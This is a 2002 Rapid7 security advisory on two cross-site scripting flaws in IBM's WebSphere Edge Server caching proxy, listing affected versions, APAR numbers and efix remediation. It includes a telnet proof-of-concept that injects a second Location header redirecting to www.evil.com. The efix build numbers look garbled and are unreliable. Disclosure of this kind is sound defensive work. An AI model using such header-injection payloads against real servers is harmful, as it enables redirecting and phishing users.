Rapid7 Advisory R7-0008: IBM WebSphere Edge Server Caching Proxy Cross-Site Scripting Issues
First XSS issue (standard XSS)
IBM: APAR# IY24527
Second XSS issue (HTTP header injection)
IBM: APAR# IY35139
October 23, 2002 - IBM Web Traffic Express Caching Proxy server is vulnerable to cross site scripting. The Caching Proxy server allows script code to be injected into pages using standard cross-site scripting techniques. A second, variant attack allows the HTTP headers to be manipulated.
IBM now bundles Web Traffic Express v4.0 with WebSphere Edge Server v2.0. IBM Web Traffic Express v3.6 and earlier were separately shipping products.
- IBM Web Traffic Express Caching Proxy Server v4.x (bundled with IBM WebSphere Edge Server v2.0)
- IBM Web Traffic Express Caching Proxy Server v3.6
IBM was notified of this issue and has released efix build number 220.127.116.11 for Caching Proxy Server v4.x, which fixes this issue and other security issues (see Rapid7 advisory R7-0007 for more information: http://www.rapid7.com/advisories/R7-0007.txt ).
IBM is tracking the first (standard) XSS issue as APAR# IY24527.
IBM is tracking the second (header injection) XSS issue as APAR# IY35139.
There are two XSS techniques that can be used against the caching proxy server. Please note that the following text may be wrapped or otherwise mangled by mail clients or gateways. You should refer to the original advisory if there is a question about the exact text.
- Standard XSS exploit against Web Traffic Express Caching Proxy
Request the following path from the caching proxy server:
- XSS exploit against Web Traffic Express Caching Proxy, adding a
second "Location:" header by using %0a%0d
telnet www.victim.com 80
Connected to www.victim.com.
Escape character is '^]'.
GET /%0a%0dLocation:%20http://www.evil.com/"> HTTP/1.0
HTTP/1.1 302 Found
Date: Fri, 18 Oct 2002 03:44:18 GMT
Last-Modified: Fri, 26 Jul 2002 03:44:18 GMT
IBM customers should install Caching Proxy efix build 18.104.22.168 or higher. Efix builds can be downloaded from IBM's secure FTP site. For more information on obtaining efix builds, contact IBM support with the APAR numbers listed above.
The fixes have also been ported back to the Web Traffic Express v3.6 code base. Customers running v3.6 should contact IBM support for more information on how to upgrade to a newer build.
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